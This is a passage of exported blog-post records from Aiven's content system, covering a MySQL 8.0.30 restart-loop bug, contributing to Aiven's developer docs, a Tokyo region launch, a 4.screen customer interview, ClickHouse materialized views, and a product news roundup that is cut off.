specialized knowledge and tooling - the case for managed services becomes clear. This was certainly the case for some of our MySQL clients earlier this year, where their investments in Aiven paid off in the form of a quietly managed bug fix. \n\n## What happened\n\nIn January 2023, our Site Reliability Engineering team began receiving reports that some MySQL databases were caught in restart loops. Aiven’s SRE team has playbooks for these instances - namely, we allow nodes to gracefully failover to a standby - but for some reason, this process wasn’t working: SREs had to manually restart nodes and restore them, and within days or weeks customers, sometimes the same ones, would find themselves facing another outage. \n\nIn addition, oftentimes when the SRE team did get those customer’s databases back online, it was difficult to restore from backup: the data had become corrupted. \n\nAiven’s SRE team felt the issue was “too intermittent to track” at first. Final statistics showed that less than \u003c1% of Aiven’s tens of thousands of customers were affected, and the SRE team was only seeing incidents matching the pattern, at most, a few times a week.\n\nHowever, over the course of a few weeks, the SRE team received enough reports from enough customers to realize that there was a broader incident at play, and they began their investigation work. \n\n## Doing the detective work: the power of economies of scale \n\nMost of Aiven’s enterprise customers have their own Site Reliability Engineering teams. So why, you might ask, do they find value in a company like Aiven? The simple answer is that Aiven works for them because of economies of scale. It’s more efficient for Aiven to hire high quality database specialists and excellent SREs than it is for our customers to do so, and the kind of time investment and tooling Aiven can develop for the services we provide might not make sense even for a very large enterprise to do. \n\nThat’s what happened with this MySQL issue: upon further investigation by Aiven’s SRE and data services teams, we discovered that the core of the issue was related to a change of data types introduced in MySQL 8.0.30. Using `SELECT` on a problematic row caused the restart loop, and in addition corrupted the data in that row, making it more likely that the error would occur in future.\n\nAiven’s data services team discovered this by scanning thousands of deployments - the error occurred for a tiny amount of our customers. \n\n## Squashing 10,000 bugs with tooling\n\nAiven compared the source code of MySQL 8.0.30 and MySQL 8.0.31, and identified the block of code that changed and caused the issue. This sounds trivial, but in practice one of our engineers scanned through hundreds of commits in MySQL to identify the change.\n\nIt seems like the mitigation would be to upgrade MySQL to 8.0.31, but Aiven provides robust backups for our customers. The tooling Aiven uses to create and manage [MySQL database backups](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration) lags behind the MySQL version releases: simply put, we could not upgrade MySQL and keep our backup promises at the same time. \n\nAn individual business might choose to upgrade anyway, but because Aiven operates at scale for thousands of customers, we had another option available: we decided to backport the fix to MySQL 8.0.30, and support a custom version of MySQL until our backup tooling released a version compatible with a more recent MySQL version. This let us continue to run robust, compliant backup tooling and mitigate the issue for our customers.\n\nIn addition, Aiven’s team developed a small script that rebuilt all MySQL databases upon startup - this way, we could ensure that the change was applied to all MySQL database customers, rather than just those experiencing the issue.\n\n## When rolling your own is risky \n\nFor a business managing their own database infrastructure, an error like this would be too obscure to find: across tens of thousands of Aiven for MySQL customers, Aiven only observed the issue just over 100 times, and only received a handful of reports. Of those, only a few customers experienced the issue more than once. Aiven runs more than 30,000 MySQL services so this is a genuinely tiny proportion. \n\nWithout sounding reductive of businesses that do manage their own infrastructure, the odds of experiencing the issue enough times that your database or site reliability engineering team could notice a pattern and have enough data to mitigate the issue are exceedingly low. However, for Aiven, which has higher investment in monitoring MySQL at scale for thousands of customers, it was easier to see the pattern and mitigate.This is the power of managed services, even for large businesses: it doesn’t make sense for your business to invest in this kind of tooling, but for a small fee, you have access to a company like Aiven, for whom it does. \n\nSo what would happen to you instead? \n\nYour business would experience a show-stopping IT incident. First, your database would be caught in a restart loop, like our customers were. When you eventually resolved that, there’s a high chance your database would be corrupted. If you were smart, you’d restore that database from a backup, but setting up automated backups takes time and energy that small development teams often don’t have. You would have, in many cases, a very long and problematic production outage on your hands, in addition to potential data loss. And then, when you least expect it, the error would happen again, because you wouldn’t have the information to solve the problem at its source. \n\nAt Aiven, the longest production outage our customers experienced with this was approximately 2 hours, and the longest database rebuild time our customers experienced was about 6 hours. Out of all the failures Aiven saw in production, we only needed to manually restart a service once – automation took care of the rest. Our customers lost minimal data due to the robust backup tooling that Aiven uses. From our perspective, having a trusted partner full of MySQL and SRE experts to get your databases back online is a far better proposition than having to do it yourself with nowhere near the expertise. \n\n\n## Wrapping up \n\nAiven lets you manage your databases, streaming services and more directly in the [Aiven Console](https://console.aiven.io/) or by using the [Aiven API](https://api.aiven.io/doc/). For more information on Aiven for MySQL, [check out the documentation](https://aiven.io/docs/products/mysql) or our tutorials [on the Developer Center](https://aiven.io/developer/mysql)\n\nNot an Aiven customer yet? You can [schedule a demo](https://aiven.io/book-demo) and explore Aiven for MySQL firsthand or start your free 30-day [here](https://aiven.io/how-to-get-started-with-aiven)!","categories":[{"_key":"cd4866d9ebc8","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"b71a1958e09a","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Solving issues for everyone","asset":{"_ref":"image-3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-06T08:20:32.941Z","related":[{"_key":"79d5a04ee317","_ref":"1Ra2d6bJ8rmAaOIoRQafNS","_type":"reference"},{"_key":"2c378088aee1","_ref":"1i9IaqeHcQuBRkkb08Oioz","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/mysql-bug-story-or-why-aiven-works"},"subtitle":"Why use Aiven for MySQL service when you could just roll your own? The simple answer: managed services make economies of scale work for you.\n","title":"Scale up: a MySQL bug story, or why Aiven works"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:45:26Z","_id":"BdgLXhx9sRTTXyfUEGlkk","_rev":"FJE9FJz5NeK3Yo2P5WXUQz","_type":"post","_updatedAt":"2023-06-19T08:33:15Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"## Contributing to documentation: Aiven Developer\n\nAt Aiven, documentation is a cross-departmental effort. As colleagues, more experienced documentation contributors run sessions to onboard new people and to lend a hand as they make their first edits to [developer.aiven.io](https://developer.aiven.io).\n\nToday we're at a point where we can welcome external contributions. If you’re using our docs and find that something is missing, or you see an opportunity to improve it, then please consider contributing to our growing body of developer documentation.\n\n### About Docs as Code\n\nAccording to [Write The Docs](https://www.writethedocs.org/guide/docs-as-code/) \"Documentation as Code (Docs as Code) refers to a philosophy that you should be writing documentation with the same tools as code\". That means using issue trackers, version control, plain text markup such as Markdown or reStructuredText, implementing code reviews, and having automated tests for your documentation.\n\nDocs as Code also means following the same workflows as software development teams do, and having close ties with the product team. It enables a culture where writers and developers both feel ownership of documentation, and work together to make it as good as possible. \n\n### Our chosen technologies\n\n[Developer.aiven.io](https://developer.aiven.io) is open source, just like most of the other things at Aiven. The platform uses open source tools, and the content itself is [Creative Commons](https://creativecommons.org/) licensed. We use established workflows and review processes, alongside GitHub for collaboration (and full audit history of all changes). GitHub actions take care of running the automated testing and deployments, including deploying previews for each in-progress pull request.\n\nThe tech stack consists of [Sphinx](https://www.sphinx-doc.org/) plus some excellent extensions, [Vale](https://vale.sh/) for linting the prose, and [MermaidJS](https://mermaid-js.github.io/mermaid/#/) for diagrams. We package all this up into a static site to make sure that your docs always load very, very fast.\n\n### Contributing to the project\n\nHere is a little tour of the [project](https://github.com/aiven/devportal) to help you get your bearings:\n- The `docs/` folder has all the articles in it\n - subfolders match the URL structure\n- The `CONTRIBUTING` file has article templates and a style guide\n - some reStructuredText tips can also be found in the `README`\n- The `REVIEWING` file covers guidelines for reviewers\n\nBefore you start work on something new, check the [issue list](https://github.com/aiven/devportal/issues) and assign the issue to yourself or comment on it if there's already an issue there.\n\n#### Using your favorite IDE \n\nChances are that you already have a developer environment on your machine. Use your terminal or command prompt to clone [the repository](https://github.com/aiven/devportal), create a new branch, make your changes, and open a pull request.\n\nFollow the instructions in the `README` file to install the necessary dependencies, and make sure to build and test your changes locally. \n\nUsing Visual Studio Code? My colleague Lorna Mitchell shared her [VSCode setup on her blog](https://lornajane.medium.com/vscode-setup-for-technical-writers-83867870ed73). \n\n#### Using GitHub Desktop\n\nIf you're looking for a GUI (Graphical User Interface) tool, GitHub Desktop is a great option. It's entirely open source too - so you know that we like it! \n\n[Download GitHub Desktop](https://desktop.github.com/) if you haven't already, and log in with your GitHub account. Then clone [the repository](https://github.com/aiven/devportal), or if you already cloned it, select `File \u003e Add local repository` and specify the local path. Create a new branch, make your changes using the editor of your choosing, and commit.\n\n\u003c!-- gitbub image\n![Add local repository](github-desktop.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code add local repository using github desktop](//cdn.sanity.io/images/sczeoy4w/production/7dd0389c7cfe0e838f077bb4d4107a818a825825-1429x982.png)\n\n#### Using GitHub Codespaces\n\nI’m excited that we have enabled Codespaces for this project - hopefully the first of many under the Aiven organization on GitHub. To use Codespaces, select the green \"\u003c\u003e Code\" button on the repository.\n\n\u003c!-- gitbub image\n![Select the Codespaces button](codespaces-button.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code select the codespaces button](//cdn.sanity.io/images/sczeoy4w/production/045313f6dd77a8f64cc02aba374de017972511a1-1812x1255.png)\n\nYou can either create a codespace on the main branch, or collaborate on a feature branch or PR. \n\n\u003c!-- gitbub image\n![Collab on a feature branch](codespaces-select-branch.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code collaborate on feature branch](//cdn.sanity.io/images/sczeoy4w/production/fd48e9912ba4d262931f74cb5fbabadc03f20089-1812x1227.png)\n\nSo I might pick a pull request from a colleague, check out the changes they made, and build the site.\n\n\u003c!-- gitbub image\n![Check out Pull Requests with Codespaces](codespaces-branch.png)\n--\u003e\n\u003c!-- Contentful image --\u003e\n![docs-as-code check out pull request](//cdn.sanity.io/images/sczeoy4w/production/d24916db4f0cf7de38f19f2815526b2ec59e7712-1811x826.png)\n\nAnd it’s fast too! \n\n### Get involved\n\nWe are proud of our documentation project, but that doesn't mean that we're not actively working on it (it's public, you can see that we are!), or that it can't be improved. If you spot something that you think could be better, go ahead and let us know by opening an issue. Even better, make that improvement yourself. One of us will work with you to review the change and then you'll be published in no time at all, earning both gratitude and bragging rights.\n\nHere's a quick run-down of some useful links:\n * our documentation: \u003chttps://docs.aiven.io\u003e\n * the GitHub project: \u003chttps://github.com/aiven/devportal\u003e\n * a handy guide to [automating your pull requests using GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions \"How to automagically open pull requests with GitHub Actions\")\n * and just in case you're wondering what this Aiven thing is anyway, or you want to try things out so you can document them, [sign up for our free trial](https://console.aiven.io/signup)\n\n--\n\nIf you have any feedback or questions, say hi to us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-16T00:00:00.000Z","seo":{"metaDescription":"Aiven creates its developer documentation as an open source project, so you too can help! Read on to find out how we use docs-as-code to make this happen.","metaImage":{"alt":"","asset":{"_ref":"image-e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844-png","_type":"reference"}},"metaTitle":"Contributing to Aiven's developer documentation"},"slug":{"_type":"slug","current":"/blog/contribute-to-aiven-docs"},"subtitle":"Aiven creates its developer documentation as an open source project, so you too can help! Read on to find out how we use docs-as-code to make this happen.","title":"Contributing to Aiven's developer documentation"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"OZqGTyyq7GXglMzqItc0j","_rev":"cEPH2uRN58AU2lp9QO7ksr","_type":"post","_updatedAt":"2022-09-08T16:18:32Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We're happy to announce that we've recently added the new Google Cloud\nNortheast Asia (Tokyo) region to Aiven. All Aiven services are now\navailable in the new region which is our fourth supported cloud in Japan and\n12th cloud in Asia.\n\nWe've also been busy enhancing our Kafka service with new topic management\nAPIs and user inteface which we hope to roll out during the next couple of\nweeks. On the PostgreSQL side we've just finished the development of our\nconnection pooling system and PGBouncer -based connection pooling will be\navailable in Aiven after our next service update. The use cases and\nbenefits of these new features will be covered in upcoming blog posts.\n\nThe rest of the week the Aiven founding team is busy meeting new and old\ncustomers and partners at the\n[Slush startup conference](https://www.slush.org/) here in Helsinki, Finland.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-11-30T11:38:00.000Z","seo":{"metaDescription":"Aiven is now active in Google Tokyo and we’re planning some feature additions to our Kafka and PostgreSQL services. Find out more.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven in Google Tokyo \u0026 other updates"},"slug":{"_type":"slug","current":"/blog/aiven-in-google-tokyo-other-updates"},"subtitle":"Aiven is now active in Google Tokyo and we’re planning some feature additions to our Kafka and PostgreSQL services. Find out more.","title":"Aiven in Google Tokyo \u0026 other updates"} {"__i18n_lang":"en","_createdAt":"2023-04-21T12:43:53Z","_id":"a206e792-7b27-449f-8716-f1fb92cb70e4","_rev":"T130WEs22RB6SoEkOBlhzK","_type":"post","_updatedAt":"2024-11-19T09:26:42Z","authors":[{"_key":"1eec637decf3","_ref":"d7d54e25-0f96-4e68-88fd-bb682d5c2d67","_type":"reference"}],"body":"## Introduction\n\n[4.screen](https://www.4screen.com/) is a fast growing startup from Munich, Germany. They’re building the world’s first driver interaction platform, powered by Aiven for Apache Kafka®. \n\n4.screen is a part of Aiven’s Cluster program, which gives fast-growing startups access to up to $100,000 of credits for Aiven services. For more information on how to apply, see [the Cluster program homepage](https://aiven.io/cluster)! \n\nWe sat down with Paul-Rogalinski Pinter, Lead Software Engineer at 4.screen, to understand why using managed services and building with open source technologies makes sense for a fast growing startup. \n\n## First of all, tell us about 4.screen and the problem you are solving\n\nLet me start by sharing a short story about 4.screen’s name origin. We identified the in-car screen as being the 4th generation of screens, after the TV (#1), the computer screen (#2) and the mobile phone / tablet screen (#3). As time progresses and technology evolves, the interior experience in your car is playing a more important role. This was our premise for starting to explore what we could do as a content provider for in-car user experience, and we naturally identified marketing as a huge opportunity.\n\nSo at 4.screen we are building a platform where businesses can connect, interact and engage with drivers. Drivers benefit from a wide variety of useful services such as relevant in-car recommendations, better in-car content and access to exclusive offers.\n\nWe launched in Germany in Q3 2022 and are now live in the major European countries with several million vehicles accessible through our API - a US launch will follow later this year.\n\n## Why did you choose to use managed data services, rather than manage your infrastructure in house?\t\t\t\t\t\n\n\u003e *Our business is not managing infrastructure, our business is building solutions on top of that.*\n\nIn our architecture, we like to reuse some components. One of these components that made us seriously consider partnering with Aiven is Kafka. Sure, hosting and managing Kafka in-house might make sense for massive workloads and data volumes. But when you're trying to scale and iterate quickly, it's all about finding ready-made solutions that fit your budget and current stage of growth.\n\nWith Aiven, we found a great match. They provide a comprehensive and reliable Kafka hosting and management solution that meets our needs. It allows us to focus on what we do best - building our product and delivering value to our customers - without getting bogged down by the complexities of managing Kafka ourselves.\n\n## How did you land on using Aiven, specifically?\n\nAll of our infrastructure was hosted on Azure. We explored options for service-to-service asynchronous communication and considered alternatives like hosting our own Kafka or using Confluent. Since we were already using Azure, we focused on external companies to manage Kafka setups. \n\nUltimately, it came down to choosing between Confluent and Aiven. Our understanding is that Confluent might be targeting a slightly more mature audience, not startups like us. With this in mind, Aiven looked like the perfect match - the right provider for the right growth stage of our company. We see eye to eye on this. \n\nBesides, one huge technical requirement on our side was to run our infrastructure as code, which is possible with Aiven. \n\n## What use cases do you have for Aiven?\n\nWe utilize Kafka as a backbone for asynchronous communication between microservices and for processing transactions from vehicles. User interactions are tracked as transactions and stored in Kafka topics for later processing, such as billing and analytics, which require quick processing of large volumes of data. We also use Aiven for Caching for managing hot data, such as application state for tracking budgets during campaigns. Redis is used for aggregating data quickly when scaling horizontally to manage campaign budgets and make throttling decisions.\n\n## Why do you think other startups should use managed services and specifically Aiven?\n\nAt our core, we value open source standards, and that's why we've built our SaaS solutions on the shoulders of giants like Kafka®, Redis®, PostgreSQL®, and more. If you're a startup focused on building solutions rather than managing your own infrastructure, finding a reliable partner to handle these services is crucial. That's where Aiven comes in.\n\nOne of the key advantages we see in Aiven is their seamless integration with all major cloud providers. It's not about getting locked into a single vendor or cloud provider, but bringing your own infrastructure as a company and letting Aiven provide managed services on top of it. It's a win-win situation that gives you the flexibility and freedom to choose the best cloud environment for your business.\n\nAnd let's not forget about the importance of infrastructure as code. It's not just important to us, but to countless other companies building on open source software. With Aiven, you can manage your infrastructure as code, ensuring a streamlined and efficient workflow that aligns with modern software development practices.\n\nSo, if you're looking for a partner that values open source standards, offers seamless integration with major cloud providers, and understands the significance of infrastructure as code, then Aiven is the ideal choice. \n\n## Why is using Open Source Software important to you?\n\nThere are two key considerations to keep in mind. Firstly, avoiding vendor lock-in may be a priority for some, and prioritizing open standards over open source software can be important.\nSecondly, open source software often defines or implements open standards, which can provide flexibility in switching technologies as long as they are built on the same protocols.\nOpen source software tends to be more agile, allowing for faster issue resolution and the ability to contribute to the community, in contrast to monolithic vendors offering one-size-fits-all solutions.\n\n## How has being part of the Aiven Cluster startup program specifically benefited you?\n\nThe credit offering is really helpful to understand what building pieces we can use, and play with them before we build them into our final product. It gives you room to explore different technologies without committing to any plans and buying them right away.\n\n## Further reading \n\n* Learn how to [Get started with Aiven for Apache Kafka®](https://aiven.io/docs/products/kafka) today \n* Use Aiven’s [pricing calculator](https://aiven.io/pricing?product=kafka) to see which plan is right for you\n* Apply for the [Cluster program](https://aiven.io/cluster) if you’re a growing startup\n\n\n\n\n\n\n\n\n\n","categories":[{"_key":"718eb443c7c1","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"363dda27b268","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"Cluster program interview: 4.screen\" against a blue background, with the AIven logo in the corner","asset":{"_ref":"image-f83ce939cf7a0497928073195ff76568772c3683-1567x844-png","_type":"reference"}},"publishedAt":"2023-05-04T15:09:00.000Z","related":[],"seo":{"_type":"metaData","metaDescription":"Find out how 4.Screen, a fast growing startup from Munich, is building the world’s first driver interaction platform, powered by Aiven for Apache Kafka®.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f83ce939cf7a0497928073195ff76568772c3683-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's Cluster Startup Program | Introducing 4.Screen"},"slug":{"_type":"slug","current":"/blog/customer-interview-4screen"},"subtitle":"We want to highlight the startups participating in the Cluster Startup Program and building on top of Aiven services. Today, we’re excited to introduce 4.Screen. ","title":"Cluster Interview: Serving relevant recommendations on the go with Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2024-01-25T16:28:04Z","_id":"a6e96484-2c71-4574-9297-d68a69f822d7","_rev":"VeNKqGNmt13PzvGhqsS1Fg","_type":"post","_updatedAt":"2024-01-29T15:38:23Z","authors":[{"_key":"207905e32b23","_ref":"20be6b57-3d41-4f3b-a674-41ee77b98d4f","_type":"reference"}],"body":"Businesses nowadays strive to make data-driven decisions to ensure that they invest resources wisely as their solutions grow and evolve. The challenge does not lie in gathering the requisite information, but rather in effectively harnessing this abundance of data to discover insights into your products or your customers. This issue is compounded by optimization challenges, where insights come at too high a cost and too slow a pace to make a meaningful impact. \n\n[Materialized views](https://aiven.io/docs/products/clickhouse/howto/materialized-views) (MVs for short) help solve this very issue. Yet, despite their potential, they remain misunderstood or underutilized. By exploring the capabilities of materialized views in Aiven for ClickHouse®, this post will illustrate how we can optimize analytics, reduce costs, and achieve immediate and profound insights into customer behavior.\n\n## What are materialized views?\n\nA materialized view is a precomputed result set that stores the output of a query, allowing for faster retrieval of data. Unlike traditional views, which are essentially saved queries that don't store data themselves, materialized views store the query results. This precomputed nature sets materialized views apart from regular views and tables, which require actual computation and data retrieval with each use, making them more resource intensive. Materialized views don’t involve recomputing the results each time they are run, providing a low-cost and quick way to re-run even the most complex query.\n\nThe tradeoff for this performance is that materialized views need to be periodically refreshed as the data in the source tables change. This is done either via scheduled, trigger based, or incremental refreshes of the materialized views. By using materialized views strategically, database administrators and developers can strike a balance between query performance and data freshness.\n\n## ClickHouse® MVs harness the power of columnar data management\n\nIn ClickHouse®, materialized views operate based on the same foundational concept of precomputing and storing query results described above. However, their implementation and benefits are tailored to ClickHouse's specific capabilities: columnar storage ensures higher compression of data and faster query performance compared to traditional row-oriented databases, and the MergeTree family of engines makes the necessary refresh of the materialized views as efficient as possible, consuming the least amount of resources. Computation happens at ingest and merging time instead of query time, making materialized views in ClickHouse even faster than with other DBMS like PostgreSQL or Snowflake. \n\nMoreover, materialized views in ClickHouse allow for automated data transformation, since data from an insert can be automatically inserted into more than one table: ClickHouse’s powerful aggregations and joins capabilities can be stored as a materialized view to speed up queries that require resource-intensive calculations. \n\nSay you are a social media analytics platform that provides insights to businesses about their online presence and customer engagement. You are tracking hundreds of thousands of posts, comments and pieces of content for various customers. Your database grows to tens of millions of rows as you collect interactions, and it becomes increasingly harder to maintain fast query speed as you go. Queries to calculate this past week’s total likes or last thirty days average comments per users are getting slower. By setting up materialized views in ClickHouse based on the time of insertion, you can query only the latest inserted data and report only the most recent likes and comments aggregated across the different social media platforms instead of the whole database. This makes the data retrieval process fast and light on resources, even over large datasets and complex queries.\n\n## ClickHouse® MVs are essential to operate at scale\n\nMaterialized views in ClickHouse are not only efficient, they are also instrumental to ensuring your query performance doesn't degrade as your data grows. Picture yourself as an e-commerce organization with thousands of products for millions of users. The challenge to keeping on top of your sales analytics is making sure you are taking into account the latest sales you’re making, for the most accurate picture of your activities possible. It is also important to consider all the variables of a sale such as the product, the region of the buyer or the time it was made. Each of those tend to increase the number of columns in your tables, impacting query performance over time and leading your decision making to lag behind. \n\nIn order to follow the right course of action in real time you need the robustness of ClickHouse to aggregate all the sales data without worrying about the number of columns. Moreover, materialized views take this a step further by precomputing all the aggregations such as total revenue, average order value, and top-selling products for you to display those metrics in your business intelligence dashboard of choice. You will not have to worry again that the data is up-to-date or fully accurate and can repeat the queries as often as you want without putting additional strain on your database. Your marketing team will be able to identify your top selling articles, your customer success team can view regional influxes in demand as they happen, and you can adjust pricing and inventory as sales evolve.\n\n## Keeping data fresh with Aiven for Apache Kafka®\n\nAs mentioned previously, the biggest tradeoff when using materialized views is that their data needs to be regularly refreshed to prevent it from going stale. Take the e-commerce example above: using MVs to populate dashboards and provide insights are only as beneficial as they are accurate and up-to-date. So the question becomes, how often should that data be refreshed? This is where Aiven's holistic approach to data management truly shines.\n\nAiven for ClickHouse® allows you to get up and running quickly, with the ability to start a ClickHouse instance, populate your data, and create MVs in a few minutes. Because Aiven also provides streaming capabilities in Aiven for Apache Kafka®, and seamless integrations between services with just a few clicks in the Aiven console, you can get as close as possible to real time data analytics by integrating Kafka with ClickHouse.\n\nReturning to our e-commerce example, you can use Aiven for Apache Kafka to capture all the status updates on your products and shipments. ClickHouse has a Kafka table engine that can read from Kafka topics directly, and trigger an MV with each event to persist that data and update any associated queries. This ensures you always have fresh data and can make decisions with confidence that they're based on the latest developments available.\n\n## Get started with MVs in Aiven for Clickhouse®\n\nNow it's time to put what we've covered to use. The Aiven Docs provide tutorials for [loading sample data into ClickHouse](https://aiven.io/docs/products/clickhouse/howto/load-dataset), as well as [connecting Aiven for Apache Kafka with Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka). Once you're comfortable with the basics, be sure to check out this [end-to-end example](https://aiven.io/blog/build-a-real-time-analytics-pipeline) of creating a real-time analytics pipeline with Apache Kafka®, Apache Flink®, and ClickHouse®, all within the Aiven platform.\n","categories":[{"_key":"3ed8a776bc96","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Materialized views in Aiven for ClickHouse® optimize queries for speed and freshness","asset":{"_ref":"image-940774fb060e8de7d9787ac480a2763011872d5e-1200x628-png","_type":"reference"}},"publishedAt":"2024-01-25T17:00:20.129Z","related":[{"_key":"f404ec9874fc","_ref":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_type":"reference"},{"_key":"8277471a343b","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Execute even complex queries quickly without the risk of stale results. See what makes Aiven for ClickHouse® ideal for analytics wherever your data lives.","metaTitle":"Using materialized views in Aiven for ClickHouse®"},"slug":{"_type":"slug","current":"/blog/materialized-views-in-aiven-for-clickhouse"},"subtitle":"Execute even complex queries quickly without the risk of stale results. See what makes Aiven for ClickHouse® ideal for analytics wherever your data lives.","title":"Materialized views in Aiven for ClickHouse® optimize queries for speed and freshness"} {"__i18n_lang":"en","_createdAt":"2024-03-15T13:51:31Z","_id":"a7234f0d-b2b9-4bbe-acbe-2ca4bbef49d9","_rev":"umyIBHGdYV5etBYdmb2Xmw","_type":"post","_updatedAt":"2024-04-09T14:08:29Z","authors":[{"_key":"54c2dced2c60","_ref":"b42de39a-603a-4cdc-8cb4-3a569caf620c","_type":"reference"}],"body":"The Aiven team strives to enhance our platform with new features to enable organizations to innovate rapidly and manage their growing data infrastructure efficiently. In case you missed some of our newest product news, we’ll take a glimpse here so you can discover our latest developments! In this blog, we’ll cover: \n* AI-powered query rewrite optimizations\n* Bring your own cloud (BYOC) automation for AWS\n* Cost efficiency and scalability with tiered storage\n* Aiven for Opensearch upgrades\n* Aiven for PostgreSQL 16 support\n\n## Aiven provides early availability of AI-powered data optimization capabilities with the acquisition of EverSQL\n\nAiven announced its [acquisition of EverSQL](https://aiven.io/blog/aiven-acquires-eversql) and the integration of EverSQL’s AI-powered engine into the Aiven Platform back in November. This provides new performance and cost optimization capabilities to our customers. With EverSQL in the Aiven Platform, customers benefit from automated, personalized, and actionable insights to help fine-tune their data architecture, such as AI-powered query rewrite optimizations and index recommendations. The Aiven AI database optimizer improves database performance, reduces hardware requirements, and helps reduce costs. Early feedback has been great with customers from BrandAlley and Fortes Tecnologia already seeing the benefits of EverSQL by Aiven: \n\n\u003e “EverSQL by Aiven has been an excellent tool for us. Previously we had numerous outages on our production website due to database issues. By implementing EverSQL by Aiven and their indexing optimizations we haven’t seen any outages in the last 6 months,” says Phil Brady, DevOps Engineer at BrandAlley. \n\n\"My client achieved a reduction of over 50% in their cloud costs while also doubling the efficiency of their databases (with some indicators showing a gain of up to 20x),\" Henrylle Maia, AWS Consultant at Fortes Tecnologia.\n\nIf you want to take EverSQL for a spin and see how you can optimize your database [contact](https://aiven.io/contact) the Aiven account team today!\n\n## Aiven delivers self-service Bring Your Own Cloud (BYOC) automation for AWS\n\nIn November, we unveiled our self-service Bring Your Own Cloud (BYOC) feature for AWS, marking a significant leap forward in cloud deployment flexibility and cost efficiency. BYOC gives AWS customers the ability to deploy Aiven services within their AWS accounts in the regions of their choice. This addresses the needs of AWS global customers by offering an improved solution for infrastructure governance and data sovereignty. AWS customers pay for Aiven data infrastructure by using their AWS discounts to save costs. Companies can optimize cost without compromising the quality or management of their infrastructure. If you want to learn more about how to optimize your cloud data infrastructure spend with Aiven’s BYOC model, check out [this blog](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc).\n\nThe self-service BYOC workflow on the Aiven console enables customers to quickly deploy Aiven data infrastructure services within their AWS accounts. This simplifies the deployment of Aiven's managed data services into these custom environments, ensuring customers benefit from our platform's hallmark features: developer-centric tools, round-the-clock monitoring and alerting, proactive maintenance, upgrades, and an unwavering 99.99% availability SLA. Importantly, this model also unlocks up to 35% in cost savings on Aiven services using customer AWS discounts. \n\n[Supermetrics](https://aiven.io/blog/multicloud-drifting-with-dups-and-supermetrics), a marketing data analytics company with a 750k user base and serving billions of queries, was an early user of Aiven’s BYOC deployment method. Supermetrics integrates with over 100 different platforms, whether it’s a spreadsheet, a data warehouse, or a BI tool. \n\n\u003e “Aiven’s built some amazing technology on top of open source databases to move them around in different clouds in different regions,” Dups Wijayawardhana, CTO at Supermetrics. \n\nBring Your Own Cloud (BYOC) is available on AWS, Google Cloud, and Microsoft Azure. Our self-service functionality has been enabled for AWS at present and more automations are coming for other major cloud vendors soon! \n\nThe BYOC automation on AWS can be easily enabled by [contacting](https://aiven.io/contact) the Aiven account team!\n\n## Unlocking Improved Cost Efficiency and Scalability with Tiered Storage for Aiven for Apache Kafka® and Aiven for Clickhouse®\n\nIn December, Aiven introduced early availability of [Tiered Storage for Apache 